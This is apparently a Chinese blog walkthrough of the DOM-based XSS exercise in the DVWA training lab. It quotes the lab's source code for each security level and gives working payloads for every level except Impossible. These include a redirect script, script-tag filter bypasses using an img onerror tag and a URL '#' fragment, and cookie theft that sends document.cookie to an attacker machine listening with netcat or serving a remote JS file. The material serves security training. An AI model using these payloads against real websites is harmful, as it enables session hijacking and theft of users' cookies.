DVWA-XSS（DOM）G

最新推荐文章于 2025-05-22 06:44:09 发布

原味瓜子、

最新推荐文章于 2025-05-22 06:44:09 发布

阅读量186

点赞数

分类专栏： DVWA 文章标签：安全 cookie web

本文链接：https://blog.youkuaiyun.com/chenzzhenguo/article/details/108755400

版权

DVWA 专栏收录该内容

12 篇文章

订阅专栏

本文详细探讨了XSS攻击的各种应用场景，包括利用XSS获取cookie、重定向、钓鱼网站和DDOS等。重点讲解了DOM型XSS，分析了Low、Medium、High和Impossible四个等级的漏洞特点及利用方式，阐述了如何通过修改DOM节点进行攻击，并给出了实例展示。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

XSS的应用场景

利用XSS获得cookie
重定向
钓鱼网站
DDOS

DOM型XSS

文本对象模式xss,通过修改页面的DOM节点形成的XSS，可存储型，可反射型，只取决于输出地点。

一、Low等级

1、漏洞分析

<?php

# No protections, anything goes

?>

没任何保护

2.漏洞利用

2.1重定向
<script>window.location='http://www.163.com'</script>

2.2获取cookie

直接弹出来
<script>alert(document.cookie)</script>
弹到A主机上

在A主机上开启监听
nc -nvlp 80
在输入点，输入以下内容
<script>new Image().src="htttp://../../..?output="+document.cookie;</script>

通过加载远程js脚本，将cookie弹到Aa主机上

在远程服务器上制作一个js脚本

var img=new Image();
img src='http://../../../:8888/cookie.php?cookie='+document.cookie;

在远程服务器上开启web服务
service apache2 start
开启监听
nc -nlvp 8888
在输入点，输入以下内容

<script src='http://../../getcookie.js'></script>

二、Medium等级

1、漏洞分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

简单过滤，检测到<script，即置为English

2、使用其他标签绕过
</select><img src='x' onerror='document.cookie'>

因为在<select>中不能添加img，所以要先闭合</select>

其他操作，同Low等级

三、High等级

1、漏洞分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

白名单过滤，只有四种可以选择，其他输入，都会置为English

2、利用#特性绕过
default=English #<script>alert(document.cookie)</script>

在url中#之后的值不会传给服务器

四、Impossible等级

1、安全性分析

<?php

# Don't need to do anything, protction handled on the client side

?>

保护的代码在客户端里面

if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + (lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");